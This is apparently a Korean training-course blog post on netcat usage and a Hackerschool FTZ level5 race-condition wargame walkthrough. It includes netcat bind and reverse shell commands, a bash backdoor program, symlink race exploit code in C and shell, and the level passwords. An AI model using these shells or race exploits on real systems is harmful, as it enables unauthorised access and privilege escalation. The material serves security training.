블로그 이미지
22Hz 22Hz

카테고리

분류 전체보기 (109)
모의해킹 침해대응 전문가 과정 (99)
리눅스 설정 (10)
Total
Today
Yesterday

달력

« » 2025.5
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31

공지사항

태그목록

최근에 올라온 글

'모의해킹 침해대응 전문가 과정'에 해당되는 글 99건

  1. 2016.07.06 20160706 리버싱
  2. 2016.07.05 20160705 리버싱
  3. 2016.07.04 20160704 리버싱
  4. 2016.07.01 20160701 프로젝트#2 피드백
  5. 2016.06.24 20160624 프로젝트#2
  6. 2016.06.24 20160624 정보수집단계
  7. 2016.06.23 20160623 정보수집단계
  8. 2016.06.22 20160622 정보수집단계
  9. 2016.06.21 20160621 정보수집단계
  10. 2016.06.21 20166020 코드엔진 아카이브

 

 

nc(netcat) 명령어 사용법

 

 

 

NAME

nc - arbitrary TCP and UDP connections and listens

 

SYNOPSIS

nc [-46DdhklnrStUuvz] [-i interval] [-p source_port]

[-s source_ip_address] [-T ToS] [-w timeout]

[-X proxy_protocol] [-x proxy_address[:port]]

[hostname] [port[s]]

 

DESCRIPTION

The nc (or netcat) utility is used for just about anything

under the sun involving TCP or UDP. It can open TCP con-

nections, send UDP packets, listen on arbitrary TCP and

UDP ports, do port scanning, and deal with both IPv4 and

IPv6. Unlike telnet(1), nc scripts nicely, and separates

error messages onto standard error instead of sending them

to standard output, as telnet(1) does with some.

 

Common uses include:

 

? simple TCP proxies

? shell-script based HTTP clients and servers

? network daemon testing

? a SOCKS or HTTP ProxyCommand for ssh(1)

? and much, much more

 

The options are as follows:

 

-l Used to specify that nc should listen for an

incoming connection rather than initiate a connec-

tion to a remote host. It is an error to use this

option in conjunction with the -p, -s, or -z

options. Additionally, any timeouts specified

with the -w option are ignored.

 

-u Use UDP instead of the default option of TCP.

 

 

CLIENT/SERVER MODEL

It is quite simple to build a very basic client/server

model using nc. On one console, start nc listening on a

specific port for a connection. For example:

 

(nc server) $ nc -l 1234

 

nc is now listening on port 1234 for a connection. On a

second console (or a second machine), connect to the

machine and port being listened on:

 

(nc client) $ nc 127.0.0.1 1234

 

There should now be a connection between the ports. Any-

thing typed at the second console will be concatenated to

the first, and vice-versa. After the connection has been

set up, nc does not really care which side is being used

as a 'server' and which side is being used as a 'client'.

The connection may be terminated using an EOF ('^D').

 

DATA TRANSFER

The example in the previous section can be expanded to

build a basic data transfer model. Any information input

into one end of the connection will be output to the other

end, and input and output can be easily captured in order

to emulate file transfer.

 

Start by using nc to listen on a specific port, with out-

put captured into a file:

 

$ nc -l 1234 > filename.out

 

Using a second machine, connect to the listening nc pro-

cess, feeding it the file which is to be transferred:

 

$ nc host.example.com 1234 < filename.in

 

After the file has been transferred, the connection will

close automatically.

 

TALKING TO SERVERS

It is sometimes useful to talk to servers "by hand" rather

than through a user interface. It can aid in trou-

bleshooting, when it might be necessary to verify what

data a server is sending in response to commands issued by

the client. For example, to retrieve the home page of a

web site:

 

$ echo -n "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80

 

Note that this also displays the headers sent by the web

server. They can be filtered, using a tool such as

sed(1), if necessary.

 

More complicated examples can be built up when the user

knows the format of requests required by the server. As

another example, an email may be submitted to an SMTP

server using:

 

$ nc localhost 25 << EOF

HELO host.example.com

MAIL FROM: <user@host.example.com>

RCPT TO: <user2@host.example.com>

DATA

Body of email.

.

QUIT

EOF

 

PORT SCANNING

It may be useful to know which ports are open and running

services on a target machine. The -z flag can be used to

tell nc to report open ports, rather than initiate a con-

nection. For example:

 

$ nc -z host.example.com 20-30

Connection to host.example.com 22 port [tcp/ssh] succeeded!

Connection to host.example.com 25 port [tcp/smtp] succeeded!

 

The port range was specified to limit the search to ports

20 - 30.

 

Alternatively, it might be useful to know which server

software is running, and which versions. This information

is often contained within the greeting banners. In order

to retrieve these, it is necessary to first make a connec-

tion, and then break the connection when the banner has

been retrieved. This can be accomplished by specifying a

small timeout with the -w flag, or perhaps by issuing a

"QUIT" command to the server:

 

$ echo "QUIT" | nc host.example.com 20-30

SSH-1.99-OpenSSH_3.6.1p2

Protocol mismatch.

220 host.example.com IMS SMTP Receiver Version 0.84 Ready

 

EXAMPLES

Open a TCP connection to port 42 of host.example.com,

using port 31337 as the source port, with a timeout of 5

seconds:

 

$ nc -p 31337 -w 5 host.example.com 42

 

Open a UDP connection to port 53 of host.example.com:

 

$ nc -u host.example.com 53

 

Open a TCP connection to port 42 of host.example.com using

10.1.2.3 as the IP for the local end of the connection:

 

$ nc -s 10.1.2.3 host.example.com 42

 

Create and listen on a Unix Domain Socket:

 

$ nc -lU /var/tmp/dsocket

 

Connect to port 42 of host.example.com via an HTTP proxy

at 10.2.3.4, port 8080. This example could also be used

by ssh(1); see the ProxyCommand directive in ssh_config(5)

for more information.

 

$ nc -x10.2.3.4:8080 -Xconnect host.example.com 42

 

 

넷캣(Netcat)TCPUDP 프로토콜을 사용하는 네트워크 연결에서 데이터를 읽고 쓰는 간단한 유틸리티 프로그램이다. 일반적으로는 UNIXcat과 비슷한 사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 ncnetwork connection에 읽거나 쓴다. 이것은 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리하지만 반면 해킹에도 이용범위가 넓다.

 

Netcat(이하 nc로 표기)Network connection 에서 raw-data read, write를 할수 있는 유틸리티 프로그램입니다. 일반적으로는 UNIXcat과 비슷한 사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 nc는 네트워크에 읽거나 쓸수 있습니다. 이것은 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리하고, 원하는 포트로 원하는 데이터를 주고받을수 있는 특징때문에 해킹에도 널리 이용되며, 컴퓨터 포렌식에 있어서 라이브시스템의 데이터를 손상없이 가져오기위해서도 사용될수 있습니다.

 

nc은 원하는 거의 모든 종류의 접속형태를 만들어 낼 수 있고 흥미로운 몇 가지 내장기능을 갖고 있기 때문에 다기능의 네크워크 문제해결/조사시 유용하게 사용가능합니다.

 

프로그램 다운로드

(리눅스용 nc) http://netcat.sourceforge.net/

(윈도우용 nc) http://www.securityfocus.com/tools/139/scoreit

 

nc 최신버전에 대한 사용법

----------------------------------------------------------------------------------------------

usage : nc [options] [target host] [ports]

 

-n : 호스트 네임과 포트를 숫자로만 입력받는다.

-v : verbosity 를 증가 시킨다. 더 많은 정보를 얻을수 있다.

-o [filename]: 보내거나 받은 데이터를 헥스덤프하여 파일에 저장한다.

-u : TCP connection 대신에 UDP connection 이 이루어 진다.

-p [port number or name] : local-port 를 지정한다. 주로 -l 과 같이 사용하게 된다.

-s [ip address or DNS] : local ip address 를 지정한다. 모든 플렛폼에서 지원되지는 않는다.

-l : listen 모드로 nc을 띠우게 된다. 당연히 target host는 입력하지 않는다. -p와 같이 사용하게 된다. ncserver 로서 쓸때 사용.

-e [filename] : -DGAPING_SECURITY_HOLE 옵션으로 Make 되었을 때 사용가능하다.

-t : -DTELNET 옵션으로 컴파일 되었을 때 사용가능하다. telnetd에 접속이 가능하도록 접속시 telnet과 같은 협상과정을 거친다.

-i [interval time] : nc는 일반적으로 8K 씩 데이터를 보내고 받는데 그렇게 Standard input의 한 라인씩 interval time마다 보내게 된다.

-z : connection을 이루기위한 최소한의 데이터 외에는 보내지 않도록 하는 옵션.

-r : port 지정이 여러개로 되어 있으면 이때 scanning 순서를 randomize하고 (일반적으로 범위로 지정하면 높은 번호의 포트부터 스캔한다) 또한 -p 옵션에서 지정가능한 local portrandomize 합니다. 이때 주의 할 것은 -p-roverride 한다는 것입니다.

----------------------------------------------------------------------------------------------

 

 

 

[실습] netcat 명령어 설치

(linux200)

# yum -y install nc

-> 출력내용 생략

# rpm -qa | grep nc

nc-1.84-10.fc6

 

 

[실습] 간단한 네트워크 연결

# nc 192.168.10.200 22 (# telnet localhost 22)

SSH-2.0-OpenSSH_4.3

exit

Protocol mismatch.

 

 

[실습] 서비스 배너 수집

# echo -e "HEAD / HTTP/1.0\n\n" | nc httpd.apache.org 80

HTTP/1.1 200 OK

Date: Fri, 22 Aug 2014 07:13:00 GMT

Server: Apache/2.4.10 (Unix) OpenSSL/1.0.1i

Last-Modified: Fri, 22 Aug 2014 07:10:38 GMT

ETag: "9ae4-5013288ca49a2"

Accept-Ranges: bytes

Content-Length: 39652

Vary: Accept-Encoding

Cache-Control: max-age=3600

Expires: Fri, 22 Aug 2014 08:13:00 GMT

Connection: close

Content-Type: text/html; charset=utf-8

 

# echo -e "HEAD / HTTP/1.0\n\n" | nc localhost 80

HTTP/1.1 200 OK

Date: Fri, 22 Aug 2014 07:12:33 GMT

Server: Apache/2.2.3 (CentOS)

Last-Modified: Mon, 14 Jul 2014 10:40:47 GMT

ETag: "62237b-43-ec8109c0"

Accept-Ranges: bytes

Content-Length: 67

Connection: close

Content-Type: text/html; charset=UTF-8

-> 위 결과를 보면 웹 서버 소프트웨어와 운영체제를 알 수 있다.

[실습] 간단한 서버/클라이언트 구성

포트 7979에서 리슨(listen)하는 간단한 채팅 서버를 만들어 보자.

 

(nc server) 192.168.10.200

[TERM1] # nc -l 7979

 

(nc client) 192.168.10.200

[TERM2] # nc 192.168.10.200 7979 (# telnet 192.168.10.200 7979)

hi

hello netcat!!!!

<CTRL + D>

 

-> 클라이언트에서 입력한 모든 문자가 서버에 출력된다.

-> 간단한 채팅 서버를 만든 셈이다.

-> 클라이언트에서 <CTRL + D> 통해 끊을 때 서버도 같이 종료 된다.

-> connection 이 이루어 졌을 때 파일을 실행시킨다. -l 과 같이 사용되면 한 instance만을 사용하

inetd와 비슷하다.

 

 

[실습] 파일 전송

클라이언트에서 명령의 결과를 바로 서버 측으로 전송하거나 파일을 전송할 수 있다.

클라이언트에서 넷캣 리스너로 파일을 전송할 수도 있고 역방향으로 파일을 전송할 수도 있다.

 

(nc server) [TERM1] # nc -l 7979 > /tmp/output.txt

 

(nc client) [TERM2] # ps auxf | nc 192.168.10.200 7979

or

# nc 192.168.10.200 < /tmp/input.txt

(nc server) [TERM1] # cat /tmp/output.txt

 

 

 

 

 

 

 

[참고] 참고 사이트(반드시 참고한다.)

http://devanix.tistory.com/307-> 백도어 쉘과 리버스 셀 부분을 참고한다.

https://www.linux.co.kr/home/lecture/?leccode=10648

http://1828.tistory.com/entry/Tool-NC-NetCat

http://egloos.zum.com/hanguy/v/2079313

http://idkwim.tistory.com/58

http://security.kaist.ac.kr/docs/netcat.html

http://www.oac.uci.edu/indiv/franklin/doc/netcat.html

 

 

백도어 쉘(bind_tcp)

서버(공인IP) - Victim

클라이언트(공인IP/사설IP) - Attacker

# nc -e /bin/sh -l -p 1234

 

 

 

 

# nc <Victim's IP> 1234

uname -a;

ls -al;

 

리버스 쉘(reverse_tcp)

서버(공인IP) - Attacker

클라이언트(공인IP/사설IP) - Victim

# nc -n -v -l -p 1234

 

ifconfig;

id;

hostname;

 

# nc -e /bin/sh <Attacker's IP> 1234

 

 

 

 





(linux200)

 

[참고] nc(netcat)명령어 사용법

 

# yum -y install nc

# rpm -qa | grep nc

nc-1.84-10.fc6

libfontenc-1.0.2-2.2.el5

ncurses-5.5-24.20060715

vim-enhanced-7.0.109-7.2.el5

launchmail-4.0.0-2.el5

evince-0.6.0-17.el5

rsync-3.0.6-4.el5_7.1

vnc-server-4.1.2-14.el5_6.6

libwnck-2.16.0-4.fc6

irqbalance-0.55-15.el5

 

# nc 192.168.10.240 79 /* 192.168.10.240 : HackMe System's IP */

id

uid=3005(level5) gid=3005(level5)

my-pass

 

Level5 Password is "what is your name?".

 

pwd

/

cd /etc

cat passwd

..... (중략) .....

level15:x:3095:3095::/home/level15:/bin/bash

level16:x:3096:3096::/home/level16:/bin/bash

level17:x:3097:3097::/home/level17:/bin/bash

level18:x:3098:3098::/home/level18:/bin/bash

level19:x:3099:3099::/home/level19:/bin/bash

level20:x:3100:3100::/home/level20:/bin/bash

clear:x:3101:3101::/home/clear:/bin/bash

exit

 

#

 

(HackMe)

 

# man bash

-i If the -i option is present, the shell is

interactive.

 

[level4@ftz tmp]$ cd ~/tmp

[level4@ftz tmp]$ vi backdoor2.c

#include <stdlib.h>

 

int main()

{

system("/bin/bash -i");

}

 

[level4@ftz tmp]$ gcc -o backdoor backdoor2.c

[level4@ftz tmp]$

 

 

 

(linux200)

# nc 192.168.10.240 79

bash: no job control in this shell

stty: standard input: Invalid argument

[level5@ftz /]$ hostname

ftz.hackerschool.org

[level5@ftz /]$ id

uid=3005(level5) gid=3005(level5)

[level5@ftz /]$ exit

exit

 

#

 

 

(정리) xinetd 방식의 원격 백도어 특성

서비스 요청이 있지 않으면 데몬이 떠 있지 않은 상태이므로 관리자가 확인하기가 어렵다.

 



 

5

Leve5 -> Leve6



단원의 목적

레이스 컨디션(Race Condition, 경쟁상태/경쟁조건)

 

 

레이스 컨디션(Race Condition)

다수의 프로세스가 서로 동일한 자원을 할당받기 위해 경쟁하는 상태이다.

 

레이스 컨디션(Race Condition)의 전제조건

다른 계정의 권한에 접근해야 하므로 SetUID가 걸려 있어야 한다.

임시 파일을 생성해야 한다.

공격자가 임시로 생성되는 파일명을 정확하게 알아야 한다.

 

레이스 컨디션이 발생하는 경우의 예

(일반적인 프로그램 실행시)

파일생성

생성된 파일에 내용쓰기

쓴 내용을 읽어들여 처리/사용

파일 삭제

 

 

level6 문제에 도전하기

 

level5 사용자로 로그인

-> ID/PASS: level5/what is your name?

 

[level5@ftz level5]$ ls -l

합계 12

-rw-r--r-- 1 root root 129 323 2000 hint

drwxr-xr-x 2 root level5 4096 224 2002 public_html

drwxrwx--- 2 root level5 4096 116 2009 tmp

 

[level5@ftz level5]$ cat hint

 

/usr/bin/level5 프로그램은 /tmp 디렉토리

level5.tmp 라는 이름의 임시파일을 생성한다.

 

이를 이용하여 level6의 권한을 얻어라.

 

 

[level5@ftz level5]$ ls -l /usr/bin/level5

-rws--x--- 1 level6 level5 12236 819 12:58 /usr/bin/level5

 

[level5@ftz level5]$ find / -user level6 -perm -4000 2>/dev/null

/usr/bin/level5

 

[level5@ftz level5]$ /usr/bin/level5 ; ls -l /tmp/level5.tmp

ls: /tmp/level5.tmp: 그런 파일이나 디렉토리가 없음

-> 파일이 빨리 생성 되었다가 지워지기 때문에 없는것 처럼 보인다.

 

 

 

 

[level5@ftz level5]$ cd tmp

[level5@ftz tmp]$ vi runTarget.c

#include <unistd.h>

 

int main(void)

{

int i;

for(i=0; i<10; i++)

{

system("/usr/bin/level5 &");

}

}

 

[level5@ftz tmp]$ gcc -o runTarget runTarget.c

[level5@ftz tmp]$

 

[참고] ln 명령어에 대해서

 

 

 

ln 명령어에 대해서

 

 

NAME

ln - make links between files

 

SYNOPSIS

ln [OPTION]... TARGET [LINK_NAME]

ln [OPTION]... TARGET... DIRECTORY

ln [OPTION]... --target-directory=DIRECTORY TARGET...

 

DESCRIPTION

Create a link to the specified TARGET with optional LINK_NAME. If

LINK_NAME is omitted, a link with the same basename as the TARGET is

created in the current directory. When using the second form with more

than one TARGET, the last argument must be a directory; create links

in DIRECTORY to each TARGET. Create hard links by default, symbolic

links with --symbolic. When creating hard links, each TARGET must

exist.

 

 

파일의 종류

일반 파일(Regular File)

디렉토리 파일(Directory File)

링크 파일(Link File)

하드 링크 파일(Hard Link File)

심볼릭 링크 파일(Symbolic Link File, Soft Link File)

디바이스 파일(Device File)

블럭 디바이스 파일(Block Device File)

캐릭터 디바이스 파일(Character Device File = Raw Device File)

파이프 파일(Pipe File)

소켓 파일(Socket File)

도어 파일(Door File)

 

 

링크 파일(Link File) 파일의 종류

- 하드 링크(Hard Link)

- 심볼릭 링크(Symbolic Link, Soft Link)

 

하드링크에 대한 기본 체계

# ls -l file1

-rw-r--r-- 1 root root 6 825 13:06 file1

 

(linux200)

파일에 대한 하드링크 수는 '1'이 기본값이다.

디렉토리에 대한 하드링크 수는 '2'가 기본값이다.-> 디렉토리안에 들어 있는 디렉토리의 개수

 

# cd /test && rm -rf /test/*

# echo "hello" > file1

# ls -l file1

-rw-r--r-- 1 root root 6 825 13:06 file1

 

+----------------+

file1 | Inode | Inode(Index Node)

+----------------+

| |

| Data |

| |

| |

+----------------+

 

# mkdir dir1

# ls -ld dir1

drwxr-xr-x 2 root root 4.0K 825 13:06 dir1/

 

디렉토리에 대한 하드링크수는 디렉토리 안에 들어 있는 디렉토리 개수이다.

# ls -al dir1

 

# mkdir dir1/dir2

# ls -ld dir1

-> 디렉토리의 하드링수는?

-> drwxr-xr-x 3 root root 4.0K Jul 7 02:58 dir1

 

# mkdir dir1/dir3

# ls -ld dir1

-> 디렉토리의 하드링수는?

-> drwxr-xr-x 4 root root 4.0K Jul 7 02:59 dir1

 

# mkdir dir1/dir2/dir4

# ls -ld dir1

-> 디렉토리의 하드링수는?

-> drwxr-xr-x 4 root root 4.0K Jul 7 02:59 dir1

 

# touch dir1/file2

# ls -ld dir1

-> 디렉토리의 하드링수는?

-> drwxr-xr-x 4 root root 4.0K Jul 7 03:01 dir1

 

# ls -l /

drwxr-xr-x 14 root root 4.0K Oct 9 04:03 lib/

 

 

 

 

ln 명령어 사용법

ln CMD

(하드링크) # ln file1 file2

(심볼릭 링크) # ln -s file1 file2

 

 

(하드 링크)

# cd /test && rm -rf /test/*

# echo 1111 > file1

# ls -l file1

-rw-r--r-- 1 root root 5 Aug 14 18:07 file1

 

# ln file1 file2

# ls -l file*

-rw-r--r-- 2 root root 5 825 13:16 file1

-rw-r--r-- 2 root root 5 825 13:16 file2

 

# ls -li file*

163204 -rw-r--r-- 2 root root 5 825 13:16 file1

163204 -rw-r--r-- 2 root root 5 825 13:16 file2

 

# echo 2222 >> file1

# cat file2

 

# rm file1

# cat file2

 

# ls -l file2

-rw-r--r-- 1 root root 5 825 13:16 file2

 

 

(심볼릭 링크)

# ln -s file2 file3

# ls -l file*

-rw-r--r-- 1 root root 5 825 13:16 file2

lrwxrwxrwx 1 root root 5 825 13:23 file3 -> file2

 

# ls -li file*

163204 -rw-r--r-- 1 root root 5 825 13:16 file2

163206 lrwxrwxrwx 1 root root 5 825 13:23 file3 -> file2

 

# echo 3333 >> file3

# cat file2

 

# rm file2

# cat file3

 

 

심볼릭 링크의 예제

심볼릭 링크 -> 바탕화면 바로가기 아이콘(EX: 한글.lnk)

 

하드링크 & 심볼릭 링크의 비교

-> 파일시스템을 넘어서 링크를 걸때

-> 디렉토리에 링크 걸때

 

 

 

하드링크 검색 방법

# cd /test && rm -rf /test

# echo 1111 > file1

# ln file1 file2

# ln file1 file3

# ls -li file*

# find . -inum <inode number> -type f (EX: # find . -inum 450 -type f)

 

 

하드링크의 용량 변화에 대해서

요청:

# df -h /boot

# cd /boot

# dd if=/dev/zero of=file1 bs=1M count=20

# ls -lh

# ln file1 file2

# ln file1 file3

# ls -lh file*

# df -h /boot

 

# rm -f file1

# df -h /boot

 

# rm -f file2

# df -h /boot

 

# rm -f file3

# df -h /boot

 

 

기존에 존재파일에 링크를 거는 경우의 에러 메세지

# cd /test && rm -rf /test/*

# echo 1111 > file1

# echo 2222 > file2

# ls

file1 file2

 

# ln -s file1 file2

ln: creating symbolic link `file2' to `file1': 파일이 존재합니다

or

ln: creating symbolic link `file2' to `file1': File exists

 

 

 

 

 

 

 

[level5@ftz tmp]$ vi Attack_Target.c

#include<unistd.h>

 

int main()

{

int i;

 

system("touch /tmp/18pass.txt");

for(i=0; i<=10; i++)

{

system("ln -s /tmp/18pass.txt /tmp/level5.tmp");

}

system("cat /tmp/18pass.txt");

system("rm -rf /tmp/18pass.txt");

}

 

[level5@ftz tmp]$ gcc -o Attack_Target Attack_Target.c

[level5@ftz tmp]$

 

[level5@ftz tmp]$ vi Attack_Target.sh

#!/bin/bash

 

#

# # gcc -o Attack_Target Attack_Target.c

# # gcc -o runTarget runTarget.c

# # ./Attack_Target.sh

#

 

./runTarget &

./Attack_Target

 

[level5@ftz tmp]$ chmod 755 Attack_Target.sh

[level5@ftz tmp]$ ./Attack_Target.sh

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

ln: `/tmp/level5.tmp': 파일이 존재합니다

next password : what the hell

 

레벨5의 레이스 컨디션 공격 타이밍 예제

 

-------------------------- Attack_Target.sh -------------------------------------

Attack_Target process runTarget process

() 프로그램 실행 () 프로그램 실행

() 파일 생성(/tmp/18pass.txt)

|

+---------> ()링크 파일 생성 <--- () 파일을 생성할려고 하지만 미리 만들어져 있음

(/tmp/level5.tmp)

() 파일에 내용 추가

() 파일 내용 확인(/tmp/level5.tmp)

() 파일 삭제(EX: rm -f /tmp/18pass.txt) () 파일 삭제(EX: rm -f /tmp/level5.tmp)

() 프로그램 종료 () 프로그램 종료

thread를 사용하여 좀 더 공격방법을 진화 시켜 보자.

 

[참고] Process & Thread 대해서

 

[level5@ftz tmp]$ vi Attack_Target2.c

#include <stdio.h>

#include <stdlib.h>

#include <pthread.h>

 

/*

Complie Option: -pthread

# gcc -o Attack_Target Attack_Target2.c -pthread

# ./Attack_Target

*/

 

void *exec_cmd();

void *exec_race();

 

int main()

{

pthread_t thread1, thread2;

char *message1 = "Thread 1";

char *message2 = "Thread 2";

 

int iret1, iret2, i;

 

iret1 = pthread_create(&thread1, NULL, exec_cmd, (void *) message1);

iret2 = pthread_create(&thread2, NULL, exec_race, (void *) message2);

 

pthread_join(thread1, NULL);

pthread_join(thread2, NULL);

 

printf("Thread1 return: %d\n", iret1);

printf("Thread2 return: %d\n", iret2);

 

return 0;

}

 

void *exec_cmd()

{

int i;

 

for(i=0; i<10; i++)

{

system("/usr/bin/level5 &");

printf("---------- Execute level5 ----------\n");

}

exit(0);

}

 

void *exec_race()

{

int i;

system("touch /tmp/18pass.txt");

for(i=0; i<10; i++)

{

system("ln -s /tmp/18pass.txt /tmp/level5.tmp &");

printf("=========== Sucessfully create link !!! ========\n");

system("cat /tmp/18pass.txt");

}

exit(0);

}

[참고] 프로그램이 어떻게 동작하는지 분석하기 위해서 printf() 함수를 각 라인에 붙여서 프로그램을 동작을 시키면 좀더 효과적으로 분석할 수 있다.

 

[level5@ftz tmp]$ su - root

root 사용자의 암호 입력

[root@ftz root]# rm -f /tmp/18pass.txt /tmp/level5.tmp

[root@ftz root]# exit

 

[level5@ftz tmp]$ gcc -o Attack_Target Attack_Target2.c -pthread

[level5@ftz tmp]$ ./Attack_Target

---------- Execute level5 ----------

ln: `/tmp/level5.tmp': 파일이 존재합니다

=========== Sucessfully create link !!! ========

next password : what the hell

ln: `/tmp/level5.tmp': 파일이 존재합니다

---------- Execute level5 ----------

=========== Sucessfully create link !!! ========

---------- Execute level5 ----------

ln: `/tmp/level5.tmp': 파일이 존재합니다

---------- Execute level5 ----------

=========== Sucessfully create link !!! ========

next password : what the hell

---------- Execute level5 ----------

---------- Execute level5 ----------

ln: `/tmp/level5.tmp': 파일이 존재합니다

=========== Sucessfully create link !!! ========

---------- Execute level5 ----------

next password : what the hell

---------- Execute level5 ----------

ln: `/tmp/level5.tmp': 파일이 존재합니다

=========== Sucessfully create link !!! ========

---------- Execute level5 ----------

next password : what the hell

---------- Execute level5 ----------

ln: `/tmp/level5.tmp': 파일이 존재합니다

 

[level5@ftz tmp]$ telnet localhost

level6/what the hell

<CTRL + ]>

telnet> quit

[level5@ftz tmp]$

 

 

 

[level5@ftz tmp]$ cd /tmp

[level5@ftz tmp]$ ls -l

합계 16

-rw-rw-r-- 1 level5 level5 31 1126 17:54 18pass.txt

-rw-rw-r-- 1 level4 level3 107 1125 18:54 backdoor2.c

lrwxrwxrwx 1 level5 level5 15 1126 17:54 level5.tmp -> /tmp/18pass.txt

drwx------ 2 root root 4096 1126 15:39 orbit-root

drwx------ 2 root root 4096 1126 15:38 ssh-XXugNuiN

 

[level5@ftz tmp]$ cat 18pass.txt

next password : what the hell

 



리버싱을 통한 의사 코드 복원

 

[level5@ftz tmp]$ ls -l /usr/bin/level5

-rws--x--- 1 level6 level5 12236 819 12:58 /usr/bin/level5

-> 실행만 할 수 있기 때문 gdb로 디버깅할 수 없다.

-> 따라서, level6 권한을 따낸후에 디버깅 작업을 해야 한다.

-> 실습에서는 root 사용자로 작업한다.

 

[level5@ftz level5]$ su root

Password: (root 사용자 암호)

 

[root@ftz level5]$ gdb /usr/bin/level5

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disas main

Dump of assembler code for function main:

0x0804842c <main+0>: push %ebp

0x0804842d <main+1>: mov %esp,%ebp

0x0804842f <main+3>: sub $0x8,%esp

0x08048432 <main+6>: and $0xfffffff0,%esp

0x08048435 <main+9>: mov $0x0,%eax

0x0804843a <main+14>: sub %eax,%esp

0x0804843c <main+16>: sub $0x8,%esp

0x0804843f <main+19>: push $0x180

0x08048444 <main+24>: push $0x8048580

0x08048449 <main+29>: call 0x804832c <creat> /* int creat(const char *pathname,

mode_t mode); */

0x0804844e <main+34>: add $0x10,%esp

0x08048451 <main+37>: mov %eax,0xfffffffc(%ebp)

0x08048454 <main+40>: cmpl $0x0,0xfffffffc(%ebp)

0x08048458 <main+44>: jns 0x8048484 <main+88>

/* if(fd < 0) { 파일생성 실패 }

else { 파일생성 성공 }

*/

0x0804845a <main+46>: sub $0xc,%esp

0x0804845d <main+49>: push $0x80485a0

0x08048462 <main+54>: call 0x804835c <printf>

0x08048467 <main+59>: add $0x10,%esp

0x0804846a <main+62>: sub $0xc,%esp

0x0804846d <main+65>: push $0x8048580

0x08048472 <main+70>: call 0x804833c <remove> /* int remove(const char *pathname); */

0x08048477 <main+75>: add $0x10,%esp

0x0804847a <main+78>: sub $0xc,%esp

0x0804847d <main+81>: push $0x0

0x0804847f <main+83>: call 0x804836c <exit>

0x08048484 <main+88>: sub $0x4,%esp

0x08048487 <main+91>: push $0x1f

0x08048489 <main+93>: push $0x80485e0

0x0804848e <main+98>: pushl 0xfffffffc(%ebp)

0x08048491 <main+101>: call 0x804830c <write> /* ssize_t write(int fd, const void *buf,

size_t count); */

0x08048496 <main+106>: add $0x10,%esp

0x08048499 <main+109>: sub $0xc,%esp

0x0804849c <main+112>: pushl 0xfffffffc(%ebp)

0x0804849f <main+115>: call 0x804831c <close>

---Type <return> to continue, or q <return> to quit---

0x080484a4 <main+120>: add $0x10,%esp

0x080484a7 <main+123>: sub $0xc,%esp

0x080484aa <main+126>: push $0x8048580

0x080484af <main+131>: call 0x804833c <remove> /* int remove(const char *pathname); */

0x080484b4 <main+136>: add $0x10,%esp

0x080484b7 <main+139>: leave

0x080484b8 <main+140>: ret

0x080484b9 <main+141>: nop

0x080484ba <main+142>: nop

0x080484bb <main+143>: nop

End of assembler dump.

(gdb) x/s 0x8048580

0x8048580 <_IO_stdin_used+28>: "/tmp/level5.tmp"

(gdb) x/s 0x80485a0

0x80485a0 <_IO_stdin_used+60>: "Can not creat a temporary file.\n"

(gdb) x/s 0x80485e0

0x80485e0 <_IO_stdin_used+124>: "next password : what the hell\n"

(gdb) x/s 0x8048580

0x8048580 <_IO_stdin_used+28>: "/tmp/level5.tmp"

(gdb) quit

 

 

 

 


 

 

복원된 의사 코드이다.

# vi level5.c

#include <stdio.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

 

#define PERM 0x180

 

int main()

{

int fd;

char nextPass[] = "next password : what the hell\n";

char *tempfile = "/tmp/level5.tmp;

 

// temporary file create

fd = create(tempFile, PERM);

if(fd < 0)

{

printf("Can not create a temporary file.\n");

remove(tempFile);

exit(0);

}

else

{

write(fd, nextPass, strlen(nextPass));

close(fd);

remove(tempFile);

}

return 0;

}

 

 

 

원본 소스 코드

# vi level5.c

#include <unistd.h>

#include <stdio.h>

#include <fcntl.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <stdlib.h>

#include <string.h>

 

#define TMP_FILE "/tmp/level5.tmp"

#define LVL6_PASS "next password : what the hell\n"

 

int main( void )

{

int fd;

 

fd = creat( TMP_FILE, S_IRUSR|S_IWUSR );

if( fd < 0 )

{

printf( "Can not creat a temporary file.\n" );

remove( TMP_FILE );

exit(0);

}

 

write( fd, LVL6_PASS, strlen( LVL6_PASS ) + 1 );

close( fd );

 

remove( TMP_FILE );

}

 

 

 

 

 

 

 

 

 

다른 방법을 통한 문제 풀이(http://inhack.org/wordpress/?p=1968)

원본 내용을 되도록 손상시키지 않는 범위내에서 문서를 작성하였습니다.

 

level5 사용자로 로그인

-> level5/what is your name?

 

[level5@ftz tmp]$ su - root

root 사용자의 암호 입력

[root@ftz root]# rm -f /tmp/18pass.txt /tmp/level5.tmp /tmp/level6

[root@ftz root]# exit

 

[level5@ftz level5]$ cd ~/tmp

[level5@ftz tmp]$ vi racecon1.c

#include <stdio.h>

int main()

{

while(1) system("/usr/bin/level5");

return 0;

}

 

[level5@ftz tmp]$ vi racecon2.c

#include <stdio.h>

int main()

{

while(1) system("ln -s /tmp/level6 /tmp/level5.tmp");

return 0;

}

 

[level5@ftz tmp]$ vi racecon3.c

#include <stdio.h>

int main()

{

while(1) system("tail -f /tmp/level6");

return 0;

}

 

